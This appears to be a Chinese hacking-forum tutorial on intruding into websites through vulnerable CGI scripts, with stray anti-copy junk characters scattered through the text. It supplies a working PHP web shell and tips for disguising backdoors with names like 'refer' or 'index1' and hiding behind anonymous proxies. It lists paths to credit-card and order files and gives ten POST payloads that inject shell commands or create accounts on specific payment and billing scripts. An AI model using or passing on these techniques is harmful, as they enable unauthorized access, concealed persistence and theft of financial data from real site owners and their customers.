CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
4 {8 J5 @& a' Z3 \9 j* P& T% Q大家好 我是bboyhip  只是一名菜菜的exploiter
3 a) a+ v7 f4 Z: J很开心来到贵论坛
  c( q' r1 Z4 }! \这里让我感觉 很有技术交流的感觉
. C$ f+ I4 {/ q/ G3 e5 A我会长长来玩的
前言:
9 j$ x# g% z2 I- f3 Z以下讲解针对欧美日本网站
. J( Y8 t& `9 L當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
. w  P2 g- D' c0 S0 n2 |7 f目录为/cgi-bin/

只是个人在实务上一些经验
- {+ S8 S' C% L! {% z9 ^( ~写的不好 请多多见谅喔
+ k3 ]7 G) J' ?/ h$ l在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手

' l# s, h! {2 \# C, l以下内容跟帖回复才能看到
0 h1 r1 w" S5 y# X2 O==============================
3 r: j  s6 n. d. C4 R  `
5 E( G0 {7 @$ h: S; U2 g% m第1部份: 何谓Shell?
/ ]2 V  I+ U+ e" D+ [$ Z1 yShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

6 w) g7 g5 @5 Y5 m% u: `第2部份: Unix 指令
以下是一些常见及重要的指令:
& j% |- A( ~: C0 ?pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
3 g9 @7 X5 R6 o1 _, x8 B% els: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
. A; t3 Q- V, r: e; R* zls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
" j8 c5 ~5 C- z8 b* [% h8 Tls /etc: 列出/etc的资料夹及档案
7 U& i$ Y1 A. o0 w' Z3 b' Z/ D# Tls ../ -al: 详细列出上一层的资料夹及档案
1 z+ ?: ]  B; i: L$ R' ^) Ecat: 显示档案内容
$ N8 [1 p3 p* m7 I8 Zcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
9 [7 z9 J5 ~2 ?0 k6 U+ ~) W1 _& Lman ls: 显示ls这指令的用法  
1 j. e0 R' q$ i' E- `% a4 Kmkdir 建立目录
rmdir 删除目录
2 ~1 Y6 n# _* M, Xmv 移动档案
rm 删除档案
+ @& p5 `! ]2 L& P( Y1 a) i& Q
第3部份: Shell的使用
例如:
  l4 B& [  p- P4 P3 k% W$ ehttp://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
9 a( ~% a- A* `- M3 ], V# T</Form>
6 I% F1 g( n* G; G0 ~<?php
$cmd = $_POST['cmd'];
2 r  U& q9 g' _+ M$Output = shell_exec($cmd);
echo $Output;
, m' k. H9 l- ~8 H?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

/ g* @7 k  x7 ]2 K, z! |. n第4部份: 注意事项
- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
6 Z" o4 Q$ f9 e, p# V; P- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
: W: ]; r2 y, g$ p( p# \! ]- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
# n; Q5 q; y- W$ G8 u这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
5 K0 S& `3 K( |开始讲解脚本入侵过程:
$ |( U+ y# j0 U) h  G. {在这里提供一些方法思路让大家学习一下

& r! [$ x7 D, k1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
扫洞工具 如:triton..等等
E表
9 t( s* v3 n9 m如
/cgi-bin/add-passwd.cgi
3 l$ a: B7 d  T9 |4 i/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
. q0 D; ]# r, f6 m" dE表来源可以是网路收寻或是自己的0 day
3 C$ ^9 Z9 v$ ?
2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
: {4 a* r. ]8 s1 _! _一般都是在IE里先看一下的,记住这个返回码哦
& C8 T4 N0 m+ T0 _: {ERROR:This script should be referenced with a METHOD of POST.
. C& `3 H7 I# S' b( V& F" D没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
4 @9 Y5 }9 _- T: R7 C, ?9 Y让大家可以针对网站去做扫描  
/index.cgi
- O- T9 P* t( S( {wei=ren&gen=command
/passmaster.cgi
: j2 r+ D! x6 `4 H6 K4 f* d" SAction=Add&Username=Username&Password=Password
) V# ^7 z% E' C% R9 A( ]. [/accountcreate.cgi
4 l! b. E: q6 o6 _username=username&password=password&ref1=|echo;ls|
/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
# R- j0 V; V% N% b" h3 ?/ccbill-local.asp
8 u+ A: q4 e4 ~7 ^! a3 R- @post_values=username:password
2 _& {6 x) U- j0 m0 b1 o: @$ c/count.cgi
pinfile=|echo;ls -la;exit|
! o/ w( W0 u% y$ Y/recon.cgi
1 Q+ N2 j: _; j, Z  n0 X7 A3 v/recon.cgi?search
- T# v; Z0 E0 C$ ksearchoption=1&searchfor=|echo;ls -al;exit|
. s; `% {, K: ]& S  ]! x6 c/ }/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

  z- C  r4 ]3 m3 R9 N今天就讲到这  感谢大家支持
6 E9 X1 \% B/ t! X+ e